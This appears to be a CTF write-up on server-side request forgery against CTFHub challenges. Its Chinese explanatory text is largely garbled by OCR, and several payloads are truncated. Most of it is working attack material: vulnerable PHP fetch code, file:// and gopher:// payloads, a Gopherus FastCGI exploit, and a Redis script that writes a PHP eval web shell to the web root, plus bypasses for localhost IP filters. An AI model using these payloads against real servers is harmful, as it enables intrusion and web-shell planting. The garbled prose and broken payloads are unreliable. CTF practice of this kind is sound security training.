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BIFSSRF, FATATLAIE BRI redisiRSS, mysqliRSS, smpthRSS, fastcgifRSE
KPR AR — L

file_get_contents(): BEMXHH—Turl FREENXHFEN—INFHEP,

readfile(): Mt — M XHHRE.

fsockopen(): IA—TREERHE—Punix BEEFER,

curl_exec(): #BU—NHBRIE, REI—NcURLAIIE, ftcurl_setopt(), curl_exec()Flcurl_close() ER¥EM,
fopen(): HF—PXHXHEHE URL.

file_get_contents()/readfile()

<?php

$url = $_GET['url'];;

echo file_get_contents($url);
?>

fsockopen()

fsockopen($hostname, $port,$errno, serrstr, $timeout) FAFFIFHF—PMBIEERE— MUnix EEFIERE, VBRU—NEEFEE
FPHSEEN (hostname) , SEIKIAFEEUrFURIIIRE. ZRMEEHsocketIRIRFS /BT tepiEE, HITERRASUE.
fsockopen(IFIREI— MDA, ZETLABRE MM HRREER (FIt0: fgets(, fgetss(, fwrite(), fclose(iEBfeof()) . MR
ALY, EiRElfalse

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);

if (1$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";

furite($fp, $out);

while (!feof($fp)) {
echo fgets($fp, 128);

¥

fclose($fp);

curl_exec()

<?php

$url=$_POST['url'];

$ch=curl_init($url); //Bli&—Tcurl ZE
curl_setopt($ch, CURLOPT_HEADER, @); //iREBurl FIIEEY4EIT
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch); // #MBurl HEFREEENEEE
curl_close($ch); //FHcurl FR

echo ($result);
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BEEHR: =T 127.0.0.189flag.phpid

r
(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409141604381.png)
payload: ?url=http://127.0.0.1/flag.php

r
(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409150105393.png)
XRBERILIE FE, SEEATLUBEDARM.,
dict{f¥
FESSRFHA, dict Hpil Shttp il AT AR A PRI W75 S i LI FF 1B 3.
BEER: SREMERRCTFHUbTES iR O, k% (5B E Z8000-90008;
BISRR B ROZAT LAY, IRE—ERREARSH, BEMRHOEDHR
SeHMTRAN i O FEwe b RS
XEBEEEMAburpERIROFATLL

f
(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409145235377.png)
EREMAUTTRFEHERT, —EREBRKLAZMRO.
XEMFRFHANE, BRHEHT
filefhiiY
FEMIR: ZHEEWN—TWebBRTHIflag.phpiB
file MRS T
payload: ?url=file:/var/www/html/flag.php

r
(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409145627309.png)
EERFTENEXHERUEAEZSRES.

Gopherfi}i¥

GopherZinternet L—PNEEBZHIEBEHES, Effinternet FRIXIHARBERFHZES], R EHFEFHF Minternet f9—4H )5
—RIIR K EpostiERK, [EIFERITEEEF%0d%0a, WRENSH, EHZHHIQBEEHA{TURLIGE
TESSRFPEZZERAEHGopher KHIEGET/POST B F i,

BERER: XRER—NHTTP POSTIER, X7, sstf2AphpicurlSEIN., HERRER302BkEE, HEST—1302.php, AJHEXS
175 IR

HAREEEEEERD

?url=file:/var/www/html/flag.php il Purl=file:/var/www/html/index.php

index.php

<?php
error_reporting(0);

if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;

¥

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);

curl_close($ch);
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flag.php

<?php

error_reporting(@);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;

}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {

echo $flag;
exit;

XBEIRBRIEXA127.0.0.135Eflag.php
(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409151445364.png)

Bikey, BRXMEFRERAIPOST key, EREXRNENRBIRIZANRE, FMAXBHEERNERMIE—POST
(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409151616800.png)

XERAFEEE—POSTRIEIER

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=00f001523d0b955749ea5e3b0@ca@9b5f

REENAATLETUrRIZT , RIDREEURTHAIHERE.

FE—IRGRIE:
gopher://127.0.0.1:80/_P0ST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-u

HE%OABHERY %0d%0A, RN LE%0d%0A FEKREBEN £%0d%0a (\r\n)

gopher://127.0.0.1:80/_P0ST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www--

ARBEHITIRURLRERD

gopher%3A//127.0.0.1%3A808/_P0ST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%25

=

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220409154707428.png)

LARFNRD, MESROEA, BREAKES, L, BRERLRTNEE

import urllib.parse

payload =\

"""POST /flag.php HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=c384d200658f258e5b5c681bfRaa29a8

#EIREE—EEROE, BFEERRThttpERE

tmp = urllib.parse.quote(payload)

new = tmp.replace('%0A', '%0OD%0A")

result = 'gopher://127.0.0.1:80/"'+"'_"+new

result = urllib.parse.quote(result)

print(result) # XBEARBGETIERUEHITH Rur RS

BRBREAME, =R,

FastCGIHY
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R . R BNFERE— Tastcgithl . hIF I ERXHFE RFE)
BTN BfastcgithiAIPHP-FPM
FastCGI
WikipediaXtFastCGIRIMRRE: BUIRBAMXIEZO (FastCommon Gateway Interface/FastCGI) RB—HilXRERFSwebiRFZHFBENNIN. Fas

php-fpm

B A3 php- fpmiERERFPM (FastCel HIREER) ATEM PHP FastCel MIKREDMIMINE, WFEHHMMRIFEERN. LHRphp-fpm

XE, MEHENERSXEATEEFNT, ERRERRNE, KMEEEME, MEBENHE, KBRS TMME, SH—
.

{EF T B Gopherus (https://github.com/tarunkant/Gopherus) &I T FastCGIHMYAIpayload

python gopherus.py --exploit fastcgi
/var/www/html/index.php # XERMANER— I EMEENphpXHF
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php

=

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410134148700.png)

XEBEREESE M ENpayload, &MHpayload

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F %10SERVER_SOF TWA

XEMEB TN ZRES, BAur2ERB—R, curltbSBB—R, FUERBMR. X payload RBEBTIE —IRIRIEAI,
FLAB4RES—RER].

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2

IR g22%]

=

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410134857049.png)

B R shell

=

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410135130186.png)
EERERY, FHERBRKEflag

Redisti¥
WERR . XREKREredistYIE, redis://127.0.0.1:6379, &El? iREEE B2K!
SERAM, redisBRBSEFECI 79O, BHEER MredisHKIBIUARIMAZIS Ashell & R#sshZEB M.

XEHAFREERgopherus EEAEME MredisSKIFMIAE, SAshell

=

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410140604901.png)

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Af1lushall%@D%0A%2A3%0D%0OA%243%0D%OAset%0OD%OA%241%0OD%OA1%0OD%0OA%2430%0OD%0A!

ERIRREBREMRMENRERI, FHERTA. XEHRERZBwhoami BRI IENST.

aiEredisips:

flushall

set 1 '<?php eval($_POST["whoami"]);?>"
config set dir /var/www/html

config set dbfilename shell.php

save

WHOAMIERIEXPRIA :
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import urllib

protocol="gopher://"

ip="127.0.0.1"

port="6379"

shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"

path="/var/www/html"

passwd=""

cmd=["flushall",

"set 1 {}".format(shell.replace(" ","${IFS}"))
"config set dir {}".format(path),

"config set dbfilename {}".format(filename),
"save"

]

if passwd:

cmd.insert(@,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"

def redis_format(arr):

CRLF="\r\n"

redis_arr = arr.split(" ")

cmd=""

cmd+="*"+str(len(redis_arr))

for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF

return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))

print urllib.quote(payload) # BTFHINXERGET, AMUEHTARurlE
]

A pEaN Fpayload

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Af1ushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%2

getf&{E, WAIEE.
(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410142312903.png)
BREX—ERE, HREER

FERRIbypassGid

XEkIHMActthubfIE , BREKIHE, EeHbuuflctfshow MBEXEBHRTY E.

URL Bypass

BRI : BERAURLBMFE S http://notfound.ctfhub.com, SREHFIFURLAI—LL4E T 75 ST IXMREINE (http://
notfound.ctfhub.com, REZIXFIFURLA—LL4E Tk 75 528X N R HIE)

#ai&payload:

Purl=http://notfound.ctfhub.com@127.0.0.1/flag.php

. WRERLA http://notfound. ctfhub FFk .com ERHNE, KIBTJLAER@
payload

Purl=http://notfound.ctfhub@127.0.0.1/flag.php.com
HRFERE L RRERNEB AR5,

#1=FIP Bypass
BRI XRbanig 7 127LARN 72 REEEA RS T BIRNIPT . BRENEAF127.0.0.1, ZEATIR

ABEEA 127/172 FATSTLMERE RS

ik a g
url=http://ex7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
E:

LENM BN KETER
host<5

url=http://0/flag.php
url=http://127.1/flag.php
host<3

url=http://0@/flag.php

30245 Bypass
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BEfEIR: SSRFAENMREEN—RRIBERTRSRME3028E, Z8FI AXA KL PATE NI F127.0.0.189flag.phpil

302Bk R R H—MURLBEEEIS S —PURLEHE,

=

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410150952514.png)
IP#ban, BANFRE12780HR

1T, WEERBHARER, BRfE.

DNSE4BE Bypass

A=k

DNSEHPTEDNS RebindingHEMITNRIIEF, AAEMIEPMAGSIHENMIL. XK IREIONSIRS B IRIA B Wi A TP, ABEMRAIP
MIERER, RERALAF. MY FEIMAEE, MELURERBMM NP, YAFE—RIGE, BITEERR— 11t RE, HEHE
FEieSdR g TPttt ; AP BRIERIZES, MR- IPtu, MFREEERE, BNIIRIANHRE—EE, MULUANRRE2MN. XHMIER

TDNS Rebindingiie

EBECRSELEE— Nindexphp BT :

<?php
header("Location:http://127.0.0.1/flag.php");

AEpayloadifiia) B X MBUFLATLAT .

B & BT LAF X AR a3k B — MU BB ARSI : https://lock.cmpxchg8b.com/rebinder.html (https://lock.cmpxchg8b.com/
rebinder.html)

&

(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410152735132.png)
BHEAhIE
(https://img-1310218605.cos.ap-nanjing.myqcloud.com/image-20220410152810623.png)
FEHASZR, BARMIBSER N pZ @bk,

B

ERAXREXEPRETCTPROHTSSRAEXAIRN, BRIHETUANXLCTFE B piEfh H— L BRENRE.

FRECHN: SNSRIAVRI—ALSSRF, HAJTLAGERGER file MOEREURMSR, http/sFdict iHIERREEENMFO, MIFOHER
AR RFIERIARS

BHEAVKRI redis/fastcgi/mysql FIRSZHS, FHATTLARIFBINI gopher FITE gopherus i#HfTgetshell,

&
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BD%91%E5%BA%94%E7 %94%A8/ (http://www.qwzf.top/2020/03/21/
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BD%91%E5%BA%94%E7%94%A8/)

https://www.freebuf.com/articles/web/258365.html (https://www.freebuf.com/articles/web/258365.html)

https://blog.csdn.net/qq_49422880/article/details/117166929 (https://blog.csdn.net/qq_49422880/article/details/117166929)

https://www.freebuf.com/articles/web/260806.html (https://www.freebuf.com/articles/web/260806.html)
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